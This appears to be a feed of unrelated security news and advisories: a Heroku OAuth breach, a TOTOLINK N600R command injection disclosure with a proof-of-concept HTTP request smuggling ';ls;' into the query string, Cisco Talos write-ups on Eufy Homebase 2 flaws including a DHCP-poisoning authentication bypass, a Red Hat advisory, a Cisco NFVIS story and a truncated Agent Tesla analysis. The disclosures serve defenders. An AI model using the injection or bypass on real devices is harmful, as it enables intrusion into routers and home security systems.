The same attack that allowed a threat actor to steal data from private Heroku GitHub repositories also resulted in the compromise of customer credentials, the company now says.

Salesforce subsidiary Heroku on Thursday said that the threat actor that stole Heroku GitHub integration OAuth tokens in April also accessed an internal database containing hashed and salted passwords belonging to the company's customers.

The discovery prompted Heroku to force a reset of all compromised user passwords and rotate internal Heroku credentials as well. In a security notification, which the company has been constantly updating since April 15, Heroku said it had also put additional detection mechanisms in place to mitigate future issues, without elaborating on what they were.

"We continue to work diligently in response to this Heroku incident first announced on April 15, 2022," the platform-as-a-service vendor said. "We worked with GitHub, our threat intelligence vendors, other industry partners, and have been in touch with law enforcement to assist in our investigation."

**Refresher: The Original GitHub Repo Breach**  
GitHub on April 13 disclosed to Heroku that it had detected a threat actor downloading a subset of Heroku's GitHub private repositories, including source code, on April 9. Heroku said GitHub had notified it about the threat actor gaining access to OAuth tokens issued to the company and using them to enumerate customer accounts. Heroku described the tokens as giving the threat actor read and write access to private customer GitHub repos connected to Heroku.

In an April 15 blog, GitHub CSO Mike Hanley said the threat actor used OAuth user tokens issued to Heroku and another third-party integrator, Travis-CI, to download data from repositories belonging to dozens of organizations, including npm, the node package manager used by millions of developers worldwide.

Hanley said GitHub's investigation showed the attackers also mined the contents of the downloaded GitHub private repositories for data that could be used to attack other infrastructure. He added that the attacks appeared highly targeted because of the way the attackers used the stolen OAuth tokens: First, they listed all the impacted organizations, then selected private repositories of interest and cloned them.

Heroku's investigation of the incident showed that the threat actor had used a stolen OAuth token associated with an internal "machine account" to access a Heroku database containing OAuth tokens that are used for customer GitHub integration.

The threat actor gained access to the Heroku database on April 7 and downloaded the stored tokens — then used them to download customer data two days later, Heroku said. Following that discovery, Heroku revoked all its GitHub integration OAuth tokens to prevent customers from deploying apps via GitHub using Heroku's dashboard or automation.

**Broader Impact Than Initially Assumed**  
Heroku on Thursday said that its ongoing investigation of the breach showed the attacker had used the same machine-account OAuth token to access the internal database containing the hashed usernames and passwords belonging to the company's customers.

The incident has highlighted why organizations need to pay close attention to the security of their OAuth authentication mechanisms, security experts say.

Casey Bisson, head of product and developer relations at BluBracket, says an attack using OAuth tokens can interact with the service that issued the tokens using all the permissions that were granted to the original client. "People and companies depend on OAuth integrations to securely allow another service to access code in private repos, as is needed to support CI tests and run code coverage reports," he says, pointing to two examples.

**OAuth: Better Account Protection, As Long as Tokens Are Safe**  
Compared to the alternative of sharing passwords between services, OAuth tokens enable more secure data sharing. For example, if it had been passwords that were stolen, the level of access the attackers might have gained would likely be even greater. And the initial mitigation and long-term fix would become more complex, Bisson says.

However, OAuth tokens are commonly used to automate cloud services such as code repositories and DevOps pipelines, notes Ray Kelly, fellow at NTT Application Security. So, a malicious actor with a stolen token can steal corporate IP or modify source code in repositories such as GitHub. Or they could use it to spread malware or steal sensitive data from organizations, he says. "Special care should always be taken when it comes to protecting tokens. They should never be publicly available or shared outside of the organization," Kelly says.

GitHub itself has said that starting the end of 2023, it would require all developers who contribute code to the repository to use multifactor authentication to access their accounts. The company described it as a move designed to bolster the security of code and IP stored in GitHub repositories amid a surge in attacks targeting the software supply chain.

Heroku: Cyberattacker Used Stolen OAuth Tokens to Steal Customer Account Credentials

TOTOLINK N600R v5.3c.5507_B20171031 was discovered to contain a command injection vulnerability via the QUERY_STRING parameter in the "Main" function.

**TOTOLINK N600R V5.3c.5507\_B20171031 Has an command injection vulnerability****Overview**

*   **Type**: command injection vulnerability
*   **Vendor**: TOTOLINK (https://www.totolink.net/)
*   **Products**: WiFi Router, such as N600R V5.3c.5507\_B20171031
*   \*\*Firmware download address:\*\*https://www.totolink.net/data/upload/20200728/f984576c47289d782ed65e67edbf06e2.zip

**Description****1.Product Information:**

TOTOLINK N600R V5.3c.5507\_B20171031 router, the latest version of simulation overview：

**2\. Vulnerability details**

TOTOLINK N600R V5.3c.5507\_B20171031 was discovered to contain a command injection vulnerability in the "Main" function. This vulnerability allows attackers to execute arbitrary commands via the QUERY\_STRING parameter.

We can see that the os will get  QUERY_STRING without filter splice to the string ;ps; and execute it. So, If we can control the QUERY_STRING, it can be command injection.

**3\. Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    GET /cgi-bin/downloadFlile.cgi?;ls; HTTP/1.1 
    Host: 192.168.0.1 
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 
    Accept-Encoding: gzip, deflate 
    Connection: keep-alive 
    Upgrade-Insecure-Requests: 1 
    Cache-Control: max-age=0

CVE-2022-27411: GitHub - ejdhssh/IOT_Vul

A denial of service vulnerability exists in the libxm_av.so DemuxCmdInBuffer functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted set of network packets can lead to a device reboot. An attacker can send packets to trigger this vulnerability.

**Summary**

A denial of service vulnerability exists in the libxm\_av.so DemuxCmdInBuffer functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted set of network packets can lead to a device reboot. An attacker can send packets to trigger this vulnerability.

**Tested Versions**

Anker Eufy Homebase 2 2.1.8.5h

**Product URLs**

Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1

**CVSSv3 Score**

7.4 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

**CWE**

CWE-190 - Integer Overflow or Wraparound

**Details**

The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.

Among the home_security binary’s responsibilities, communications with the cloud and with smarthome devices is the most important. While the binary itself is somewhat opaque with regards to the actual implementation of this, a good chunk of the network functionality is within an imported libxm_av.so library. This library normally creates five different network servers, as so:

      tcp
        32392 - UDPRecvClient path
        32293 - WifiComSend_Pth            
        32295 - WifiComRecv_Pth            
        32290 - DspComSvr_Path - recv   ** not seen **
        32292 - DspComSvr_Path - send   ** not seen **
    
      udp
        32380 - UDPComCreate => UdpRecvSvr_pth 
        32392 - UdpSndSvr                      
    

While the code paths of some of these seem to converge or complement each other, these servers are all related to communications between the Homebase 2 and the smarthome devices. For today’s writeup we take a brief look into the WifiComRecv_Pth on TCP port 32295. Just like all the other ports, this codepath uses the getpeermac() function for defacto authentication, in that a network connection’s IP address must have an arp table entry on the br0 interface to be allowed to talk to any of these ports. Assuming that one has a vulnerabilty to bypass this check (see TALOS-2022-1479, libxm\_av.so getpeermac() authentication bypass vulnerability), or if one has compromised one of the smarthome devices that are resident on the br0 192.168.32.0/24 network, then one can essentially talk to the Eufy Homebase like any other device that has been paired. So what can one do with this?

Looking at the WifiComRecv_Pth, let’s take a look at what the message structure looks like:

    struct WifiComPkt{
        uint32_t magic; //[1]
        uint32_t opcode;
        uint32_t datalen; // [2]
        uint8_t data[]// [3]
    }
    

The packet must start with the magic bytes "\x55\x55\x00\xff" at \[1\]. We have an opcode as expected, and then there’s a datasize at \[2\] which determines the length of the array at \[3\]. All pretty standard. So let’s now examine the code handling these messages:

    void*  WifiComRecv_client_pth(struct mall_20* malloced_arg) { 
        //[...]
        0002d068      while (true)
        0002d068          if (g_XM_RUNNING != 0)  // [4]
        0002d14c              int32_t recv_ret
        0002d14c              uint32_t bytes_demuxed
        0002d14c              char* rbufptr
        0002d14c              do
        0002d088                  recv_ret = recv(sockfd: mall20.fd, buf: &buffer[pWriteOffset], len: 0x400 - pWriteOffset, flags: 0x40) // [5]
        0002d094                  if (recv_ret s> 0)
        0002d0a0                      pWriteOffset = pWriteOffset + recv_ret
        0002d0b4                      bytes_demuxed = DemuxCmdInBuffer(buffer: &buffer[pReadOffset], inpsize: pWriteOffset - pReadOffset, mall_20: &mall20) // [6]
    }
    

The server runs for as long as the g_XM_RUNNING global is switched on at \[4\] and constantly reads packets into a size 0x400 buffer on the stack at \[5\], which is subsequently parsed inside the DemuxCmdInBuffer function at \[6\].

    0002cd04  void* DemuxCmdInBuffer(char* buffer, uint32_t inpsize, struct mall_20* mall_20)
    0002cd6c      uint8_t* var_3c
    // [...]
    0002cde8      int32_t size_m4 = inpsize - 4
    0002cdf4      uint32_t bytes_left = 0
    0002cdf0      if (size_m4 s> 0)
    0002ce00          int32_t size_mc = inpsize - 0xc
    0002ce04          uint32_t bytesread = 0
    0002ce24          do
    0002ce2c              struct WifiPkt* wifipkt = &buffer[bytesread]
    0002ce38              while (wifipkt->magic == 0xff005555)                   // [7]
    0002ce54                  if (bytesread + 0xb s>= inpsize) 
    0002cefc                      return inpsize - bytesread
    0002ce74                  bytes_left = inpsize - bytesread
    0002ce70                  if (bytesread + wifipkt->size + 0xb s>= inpsize)   // [8]
    0002cefc                      return bytes_left
    0002ce7c                  XM_LOG(fname: "Xm_WifiComServer.c", line: 0x8a2, 2, 0, fmtstr: "cmd offset:%d\n", values: bytesread)
    0002ce94                  int32_t wificmd_ret = WifiCommandRespProc(wifipkt: wifipkt, mall_20: mall_20)  // [9]
    

After iterating through our data packet until finding the 0xff005555 magic bytes at \[7\], we finally get to our vulnerability: a lack of checking of the Wifipkt->size field inside the DemuxCmdInBuffer function, which allows us to cause an integer overflow at \[8\]. Unfortunately for attacker purposes, this WifiPkt->datalen field does not actually do that much inside WifiCommandRespProc \[9\] besides being checked and also potentially used as the length in an fwrite call. The best we can really get out of this vulnerability is setting the datalen large enough such that an out-of-bounds read occurs after advancing its read pointer by WifiPkt->datalen+0xb. This results in an unmapped read and a binary crash. If the home_security process crashes enough times within a given period, a device reboot will also occur, resulting in a denial of service.

**Crash Information**

    [ 5886.888000] do_page_fault() #2: sending SIGSEGV to home_security(23710) for invalid read access from
    [ 5886.888000] 282e7aa4 (pc == 778c4e30, ra == 778c4e9c)
    
    <(^.^)>#info reg
              zero       at       v0       v1       a0       a1       a2       a3
     R0   00000000 1100ff00 487f5f11 00000001 00000001 00000001 00000000 00000001
                t0       t1       t2       t3       t4       t5       t6       t7
     R8   00000000 fffffffe 00000000 00000000 9b64c2b0 8758a11c 00000000 00000007
                s0       s1       s2       s3       s4       s5       s6       s7
     R16  b780a0ff 33e09af7 7c5ff9f8 00000010 0000000c ff005555 7700a4d1 7700b920
                t8       t9       k0       k1       gp       sp       s8       ra
     R24  00000000 773d36ec 00000000 00000000 77026560 7c5ff960 7c5ff9d8 76ff6e9c
                sr       lo       hi      bad    cause       pc
          0100ff13 067e836c 001154dc 33e09af7 00800010 76ff6e30
               fsr      fir
          00000000 00000000
    
    <(^.^)>#x/10i $pc-0x10
       0x76d3ae20 <WifiComRecv_client_pth+504>:     li      a1,2280
       0x76d3ae24 <WifiComRecv_client_pth+508>:     li      a2,2
       0x76d3ae28 <WifiComRecv_client_pth+512>:     jalr    t9
       0x76d3ae2c <WifiComRecv_client_pth+516>:     move    a3,zero
    => 0x76d3ae30 <WifiComRecv_client_pth+520>:     lw      gp,32(sp)
       0x76d3ae34 <WifiComRecv_client_pth+524>:     move    s4,s2
       0x76d3ae38 <WifiComRecv_client_pth+528>:     move    s0,s2
       0x76d3ae3c <WifiComRecv_client_pth+532>:     move    s1,zero
       0x76d3ae40 <WifiComRecv_client_pth+536>:     lw      t9,-31148(gp)
    

**Vendor Response**

Fixed version 3.1.8.7 and 3.1.8.7h is in grayscale on Homebase2

**Timeline**

2022-03-11 - Vendor disclosure  
2022-04-15 - Vendor patched  
2022-05-05 - Public disclosure

Discovered by Lilith &gt;\_&gt; of Cisco Talos.

CVE-2022-26073: TALOS-2022-1480 || Cisco Talos Intelligence Group

An authentication bypass vulnerability exists in the libxm_av.so getpeermac() functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted DHCP packet can lead to authentication bypass. An attacker can DHCP poison to trigger this vulnerability.

**Summary**

An authentication bypass vulnerability exists in the libxm\_av.so getpeermac() functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted DHCP packet can lead to authentication bypass. An attacker can DHCP poison to trigger this vulnerability.

**Tested Versions**

Anker Eufy Homebase 2 2.1.8.5h

**Product URLs**

Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1

**CVSSv3 Score**

7.1 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

**CWE**

CWE-290 - Authentication Bypass by Spoofing

**Details**

The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.

Among the home_security binary’s responsibilities, communications with the cloud and with smarthome devices is the most important. While the binary itself is somewhat opaque with regards to the actual implementation of this, a good chunk of the network functionality is within an imported libxm_av.so library. This library normally creates five different network servers, as so:

      tcp
        32392 - UDPRecvClient path
        32293 - WifiComSend_Pth            
        32295 - WifiComRecv_Pth            
        32290 - DspComSvr_Path - recv   ** not seen **
        32292 - DspComSvr_Path - send   ** not seen **
    
      udp
        32380 - UDPComCreate => UdpRecvSvr_pth 
        32392 - UdpSndSvr                      
    

While the code paths of some of these seem to converge or complement each other, these servers are all related to communications between the Homebase 2 and the smarthome devices. These communications occur over a seperate network than that of the Homebase’s normal ethernet connection, as it broadcasts a WiFi Hotspot with a hidden SSID that all the smarthome devices can connect to. This WiFi hotspot corresponds to the br0 interface in the Homebase:

    8: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue 
        link/ether 8c:85:80:AA:BB:CC brd ff:ff:ff:ff:ff:ff
        inet 192.168.32.2/24 brd 192.168.32.255 scope global br0
           valid_lft forever preferred_lft forever
        inet6 fe80::8e85:80ff:feaa:bbcc/64 scope link 
           valid_lft forever preferred_lft forever
    

When a device is paired to the Homebase, it is statically assigned an IP address in the range of 192.168.32.5 to 192.168.32.21, but if one manually connects to this WiFi AP, a DHCP IP address is assigned starting from 192.168.32.100. While this might seem irrelevant, there are indeed hardcoded checks within these servers to see whether a connected client falls within the 192.168.32.5-192.168.32.21 IP address range, which could determine if a device is authorized to use an opcode or not. There also exist comparisons to the MAC addresses of paired devices, as another authentication method. But for today’s vulnerability, we examine the somewhat related getpeermac() function, which is used to check whether or not a client to any of the above mentioned TCP/UDP ports is allowed to send traffic:

    int32_t getpeermac(int32_t fd, char* sprintf_out){
    
        int32_t addrlne = 0x10
        struct arpreq arp
        memset(addr: &arp, chr: 0, size: 0x44)
        
        struct sockaddr addr
        addr.sin_family.d = 0
        addr.inet_addr = 0
        addr.pad[0].d = 0
        addr.pad[4].d = 0
        
        int32_t peerret = getpeername(fd, &addr, &addrlne) // [1]
        uint32_t $a1_1 = 0xdd
        char* fmtstr
        int32_t $v0
        if (peerret s< 0)
            fmtstr = "getpeermac: getpeername err\n"
        else
            arp.arp_dev[0].d = 'br0'
            arp.arp_pa.sin_family.d = addr.sin_family.d
            arp.arp_pa.inet_addr = addr.inet_addr // [2]
            arp.arp_pa.pad[0].d = addr.pad[0].d
            arp.arp_pa.pad[4].d = addr.pad[4].d
            arp.arp_pa.sin_family = 2
            arp.arp_ha.sin_family = 0
            iret = ioctl(fd, 0x8954, &arp)        // [3]
            if (iret s< 0)
                fmtstr = "getpeermac: ioctrl err\n"
                $a1_1 = 0xe7
        int32_t ret
        if (peerret s< 0 || (peerret s>= 0 && iret s< 0))
            uint8_t* var_7c
            XM_LOG(fname: "PrivateAPI.c", size: $a1_1, 5, 0, fmtstr: fmtstr, values: var_7c)
            ret = 0xfffff447
        if (peerret s>= 0 && $v0 s>= 0)
            sprintf(sprintf_out, 0x3d1d0, zx.d(arp.arp_ha.sin_port.b), [...]  {"%02X:%02X:%02X:%02X:%02X:%02X"} // [4]
            ret = 0
        return ret
    }
    

To summarize, at \[1\], the function gets the client socket IP address of our connection, placing it into addr. At \[2\], this addr’s data is put into the arpreq struct. At \[3\], the 0x8954 ioctl is done, which asks the kernel if there are any arp table entries on the br0 interface that have an IP address corresponding to our client socket. Assuming this all passes, a MAC address string is populated into the sprintf_out parameter pointer at \[4\], and 0x0 is returned by this function. If getpeermac does not return 0x0, the connection is immediately terminated, resulting in an authentication mechanism that is determined by the connection’s interface. To put more plainly, if we try sending traffic to any of these ports over the Homebase’s ethernet connection, the connection is blocked. Only paired smarthome devices are allowed to talk to these servers.

There is however an oversight in this implementation, namely that the Homebase’s eth0 connection is DHCP. Thus, if an attacker is on the same subnet as the Homebase and can DHCP poison the Homebase, the 192.168.32.0/24 range can be placed on both the eth0 interface and the br0 interface. If the attacker subsequently assigns themselves an IP address that matches any device on the br0 interface, then the call to getpeermac() will actually succeed. Again looking at the important parts of getpeermac():

        int32_t peerret = getpeername(fd, &addr, &addrlne) 
    

If our IP address legitimately is 192.168.32.5 for instance, the same IP address as a smarthome device on br0, then getpeername will populate addr with 192.168.32.5 (0xc0a82005).

       iret = ioctl(fd, 0x8954, &arp)       
    

Since we’re looking up 192.168.32.5: Assuming there is an actual device with this IP address, the ioctl will return successfully with the MAC address of the device on br0, allowing us to talk to these ports. But there is one more step to take in this setup. If we put the 192.168.32.0/24 network on the eth0 interface, we actually won’t see any return traffic due to routing priority. To solve this issue, we can simply poison instead with 192.168.32.0/25 or any other smaller subnet that lets us share an IP address with a device on the br0 interface. Since smaller subnets by default take priority to larger subnets in routing tables, we can force the Homebase to send traffic to us instead of the Smarthome devices on br0, regardless of the static arp table entries that get configured for paired devices.

**Vendor Response**

Fixed version 3.1.8.7 and 3.1.8.7h is in grayscale on Homebase2

**Timeline**

2022-03-11 - Vendor disclosure  
2022-04-15 - Vendor patched  
2022-05-05 - Public disclosure

Discovered by Lilith &gt;\_&gt; of Cisco Talos.

CVE-2022-25989: TALOS-2022-1479 || Cisco Talos Intelligence Group

Red Hat Security Advisory 2022-1734-01 - The Migration Toolkit for Containers enables you to migrate Kubernetes resources, persistent volume data, and internal container images between OpenShift Container Platform clusters, using the MTC web console or the Kubernetes API.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: Migration Toolkit for Containers (MTC) 1.7.1 security and bug fix update  
Advisory ID:       RHSA-2022:1734-01  
Product:           Red Hat Migration Toolkit  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:1734  
Issue date:        2022-05-05  
CVE Names:         CVE-2021-3999 CVE-2021-4028 CVE-2021-23177  
                   CVE-2021-31566 CVE-2021-41190 CVE-2021-41771  
                   CVE-2021-41772 CVE-2021-44716 CVE-2021-44717  
                   CVE-2021-45960 CVE-2021-46143 CVE-2022-0261  
                   CVE-2022-0318 CVE-2022-0359 CVE-2022-0361  
                   CVE-2022-0392 CVE-2022-0413 CVE-2022-0778  
                   CVE-2022-1154 CVE-2022-1271 CVE-2022-22822  
                   CVE-2022-22823 CVE-2022-22824 CVE-2022-22825  
                   CVE-2022-22826 CVE-2022-22827 CVE-2022-23218  
                   CVE-2022-23219 CVE-2022-23308 CVE-2022-23852  
                   CVE-2022-25235 CVE-2022-25236 CVE-2022-25315  
                   CVE-2022-25636  
====================================================================  
1. Summary:

The Migration Toolkit for Containers (MTC) 1.7.1 is now available.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Description:

The Migration Toolkit for Containers (MTC) enables you to migrate  
Kubernetes resources, persistent volume data, and internal container images  
between OpenShift Container Platform clusters, using the MTC web console or  
the Kubernetes API.

Security Fix(es) from Bugzilla:

* golang: net/http: Limit growth of header canonicalization cache  
(CVE-2021-44716)

* golang: debug/macho: Invalid dynamic symbol table command can cause panic  
(CVE-2021-41771)

* golang: archive/zip: Reader.Open panics on empty string (CVE-2021-41772)

* golang: syscall: Don't close fd 0 on ForkExec error (CVE-2021-44717)

* opencontainers: OCI manifest and index parsing confusion (CVE-2021-41190)

For more details about the security issue(s), including the impact, a CVSS  
score, and other related information, refer to the CVE page(s) listed in  
the References section.

3. Solution:

For details on how to install and use MTC, refer to:

https://docs.openshift.com/container-platform/latest/migration_toolkit_for_containers/installing-mtc.html

4. Bugs fixed (https://bugzilla.redhat.com/):

2020725 - CVE-2021-41771 golang: debug/macho: invalid dynamic symbol table command can cause panic  
2020736 - CVE-2021-41772 golang: archive/zip: Reader.Open panics on empty string  
2024938 - CVE-2021-41190 opencontainers: OCI manifest and index parsing confusion  
2030801 - CVE-2021-44716 golang: net/http: limit growth of header canonicalization cache  
2030806 - CVE-2021-44717 golang: syscall: don't close fd 0 on ForkExec error  
2040378 - Don't allow Storage class conversion migration if source cluster has only one storage class defined [backend]  
2057516 - [MTC UI] UI should not allow PVC mapping for Full migration  
2060244 - [MTC] DIM registry route need to be exposed to create inter-cluster state migration plans  
2060717 - [MTC] Registry pod goes in CrashLoopBackOff several times when MCG Nooba is used as the Replication Repository  
2061347 - [MTC] Log reader pod is missing velero and restic pod logs.  
2061653 - [MTC UI] Migration Resources section showing pods from other namespaces  
2062682 - [MTC] Destination storage class non-availability warning visible in Intra-cluster source to source state-migration migplan.  
2065837 - controller_config.yml.j2 merge type should be set to merge (currently using the default strategic)  
2071000 - Storage Conversion: UI doesn't have the ability to skip PVC  
2072036 - Migration plan for storage conversion cannot be created if there's no replication repository  
2072186 - Wrong migration type description  
2072684 - Storage Conversion: PersistentVolumeClaimTemplates in StatefulSets are not updated automatically after migration  
2073496 - Errors in rsync pod creation are not printed in the controller logs  
2079814 - [MTC UI] Intra-cluster state migration plan showing a warning on PersistentVolumes page

5. References:

https://access.redhat.com/security/cve/CVE-2021-3999  
https://access.redhat.com/security/cve/CVE-2021-4028  
https://access.redhat.com/security/cve/CVE-2021-23177  
https://access.redhat.com/security/cve/CVE-2021-31566  
https://access.redhat.com/security/cve/CVE-2021-41190  
https://access.redhat.com/security/cve/CVE-2021-41771  
https://access.redhat.com/security/cve/CVE-2021-41772  
https://access.redhat.com/security/cve/CVE-2021-44716  
https://access.redhat.com/security/cve/CVE-2021-44717  
https://access.redhat.com/security/cve/CVE-2021-45960  
https://access.redhat.com/security/cve/CVE-2021-46143  
https://access.redhat.com/security/cve/CVE-2022-0261  
https://access.redhat.com/security/cve/CVE-2022-0318  
https://access.redhat.com/security/cve/CVE-2022-0359  
https://access.redhat.com/security/cve/CVE-2022-0361  
https://access.redhat.com/security/cve/CVE-2022-0392  
https://access.redhat.com/security/cve/CVE-2022-0413  
https://access.redhat.com/security/cve/CVE-2022-0778  
https://access.redhat.com/security/cve/CVE-2022-1154  
https://access.redhat.com/security/cve/CVE-2022-1271  
https://access.redhat.com/security/cve/CVE-2022-22822  
https://access.redhat.com/security/cve/CVE-2022-22823  
https://access.redhat.com/security/cve/CVE-2022-22824  
https://access.redhat.com/security/cve/CVE-2022-22825  
https://access.redhat.com/security/cve/CVE-2022-22826  
https://access.redhat.com/security/cve/CVE-2022-22827  
https://access.redhat.com/security/cve/CVE-2022-23218  
https://access.redhat.com/security/cve/CVE-2022-23219  
https://access.redhat.com/security/cve/CVE-2022-23308  
https://access.redhat.com/security/cve/CVE-2022-23852  
https://access.redhat.com/security/cve/CVE-2022-25235  
https://access.redhat.com/security/cve/CVE-2022-25236  
https://access.redhat.com/security/cve/CVE-2022-25315  
https://access.redhat.com/security/cve/CVE-2022-25636  
https://access.redhat.com/security/updates/classification/#moderate  
https://docs.openshift.com/container-platform/4.10/migration_toolkit_for_containers/mtc-release-notes.html  
https://docs.openshift.com/container-platform/latest/migration_toolkit_for_containers/installing-mtc.html

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYnQGqNzjgjWX9erEAQjvjQ/8DjxVShzLVHUL15Y7GP03LaJcaPjItRZD  
3AWvsyJRN7eUWxjTLPcBXpQK4ssgf+SbnAQyGZGKXyoSZsN6c0JJ4fMPBLxctH1c  
VPeAO9Q5OquQQUS3WuYumzUh4vdjO3mpipeHF6L2chY7RIuQYNhxbHRdoPaCby2r  
ipUeZ5pNx7b6Ya0C+CW2xM5jMawMO00LfcvjwHTopdrW2FcJkoHa/0Q9PJ5e9Me7  
W4gb2+jEUSTu4gqK41Yo5yYRXicb5ZtfeziszjDnlh+ZkoW9rqztJyJwfmzOg54+  
NQmslnVTz2Zym69Kdx0Y1erhX6UMU1k5ltQwqiF4G0hCHw8mnlmSTkst9cml18n0  
cP3VJeQ4nvwHGI/DK37yqkUyVeQFJWmCJsIeyFlpDqNCnnHEk7emkjia3xxpLubD  
tw2uUc8RDLiZnWpATYsQRrXN9/+YKzYrft2gHMEpKBHg4l8CaU3Kq2a+zRjid0HP  
G5J2mj7ByL9Do5+5XXC6zOPcufVHdzJity/uXaqcUe/HPcqkn39H5KclbZT1MCpZ  
pffm0GeH7vruU1jbKbGOttteVelUBY6zAQoH0zhNFhYhvjHHUTNPSoofSrpb13Jp  
tBW066vZ2LlnXb9N9/IApI4D6NSTr/A+jWArl5zALcqinHZC6gsnTF7MyW4L4l3R  
PFjfcWlvgH0=wFuW  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-1734-01

The vendor also disclosed two other security vulnerabilities that would allow remote, unauthenticated attackers to inject commands as root and snoop on sensitive user information.

Make plans to patch as soon as possible: A critical security vulnerability in Cisco's Enterprise NFV Infrastructure Software (NFVIS) opens the door to complete takeover of a host.

Cisco's Enterprise NFVIS combines network functions virtualization (NFV) and software-defined networking (SDN) to allow enterprises to provision and manage virtual network services, applications, virtual machines (VMs), and hardware devices. As such, it sits in the middle of organizations' internal networks and offers a perfect pivot point for an attacker to move laterally within an enterprise environment.

The bug (CVE-2022-20777) carries a score of 9.9 out of 10 on the CVSS vulnerability-severity scale, and specifically exists in the Next Generation Input/Output (NGIO) feature of the software. According to Cisco's advisory this week, it stems from insufficient guest restrictions— someone signed onto a guest VM on a host machine is able to escape from that guest VM to gain unauthorized root-level access on the underlying host.

"An attacker could exploit this vulnerability by sending an API call from a VM," according to Cisco's advisory. "A successful exploit could allow the attacker compromise the NFVIS host completely."

The networking giant rolled out a patch for the issue late Tuesday.

JJ Guy, CEO and co-founder of Sevco Security, tells Dark Reading that enterprises need to take this one seriously, given that enterprises rely on guest VMs to separate workloads, enable different levels of permissions for different applications and users, segregate applications that pose more security risk than others, and more.

"VM escape bugs that allow a user with access to the host from the guest are always critical, regardless of the caveats of having to be authenticated," he says, noting that private companies should take the same approach to preventing escapes as the big cloud providers do.

"The entire public cloud infrastructure is based on the virtual machine being a reliable security boundary," he says. "When a public cloud provider sells compute on one physical box to multiple different clients via virtual machines, it must be able to guarantee those clients cannot impact each other. Any failure in that undermines what is fast becoming a critical part of computing."

**Two Unauthenticated Cisco Bugs to Patch Quickly  
**Cisco also addressed two other vulnerabilities in the advisory. The first (CVE-2022-20779, CvSS 8.8) is a high-severity command-injection issue in the image-registration process. A successful exploit would allow an unauthenticated, remote attacker to inject commands that execute at the root level on the NFVIS host.

"This vulnerability is due to improper input validation," according to the advisory. "An attacker could exploit this vulnerability by persuading an administrator on the host machine to install a VM image with crafted metadata that will execute commands with root-level privileges during the VM registration process."

The other bug (CVE-2022-20780, CVSS 7.4) could allow an unauthenticated, remote attacker to leak system data from the host to any configured VM, including files containing sensitive user data. Even worse, an authenticated attacker could obtain access to confidential system information directly.

"This vulnerability is due to the resolution of external entities in the XML parser," according to Cisco. "An attacker could exploit this vulnerability by persuading an administrator to import a crafted file that will read data from the host and write it to any configured VM."

As always, to avoid falling victim to a successful cyberattack, patching quickly is the key, along with enforcing strong password hygiene to prevent attacks requiring authentication and account takeovers. Cisco software is no stranger to active targeting from cybercriminals — to the point where, in February, the US National Security Agency (NSA) issued fresh guidance for organizations on selecting strong passwords for Cisco devices, citing an increase in the number of compromises involving poorly protected network infrastructure.

Critical Cisco VM-Escape Bug Threatens Host Takeover

Scamming, phishing and other data theft is all part of Nigeria Tesla's portfolio.
The post Nigerian Tesla: 419 scammer gone malware distributor unmasked appeared first on Malwarebytes Labs.

Agent Tesla is a well-known data stealer written in .NET that has been active since 2014 and is perhaps one of the most popular payloads observed in malspam campaigns.

While looking for threats targeting Ukraine, we identified a group we call “Nigerian Tesla” that has been dabbling into phishing and other data theft activities for a number of years. Ironically, one of the main threat actors seemingly compromised his own computer with an Agent Tesla binary.

In this blog, we expose some of the activities from a scammer who started off with classic advance-fee schemes and is now successfully running Agent Tesla campaigns. In the past two years, this threat actor was able to collect close to a million credentials from his victims.

**Spam campaign**

Our investigation started with an email targeting titled _Остаточний платіж.msg_ (Ukrainian for _Final payment.msg_). It contained a link to a file sharing site that downloads an archive containing an executable file.

Figure 1: Spam email with Agent Tesla

This executable is actually an Agent Tesla stealer, capable of exfiltrating data in multiple ways, though most commonly using SMTP. The technique is really simple as it only requires an email account that sends messages to itself containing stolen credentials for each victim that executed the malware on their computer.

**Test successful!**

The attacker sent a number of messages containing the body “Test successful!” from the same machine. Those emails should have been deleted for obvious reasons but this threat actor did not and leaked his own IP address allowing us to locate them in Lagos, Nigeria.

Figure 2: Test emails sent by the attacker

These messages are checks done by the threat actor to make sure communication with Agent Tesla is configured properly. This is typical and is often described in hacking forums where users ask for help with the ‘software’.

Figure 3: Forum post complaining about issue not receiving logs

There were an additional 26 emails sent from the same IP address that weren’t test emails but came from a real Agent Tesla execution. We don’t know exactly how, but the attacker managed to infect his own machine.

Figure 4: Information exfiltrated from the attacker’s machine

Here is a list containing some of the services that the Nigerian Tesla threat actor used:

*   PerfectMoney
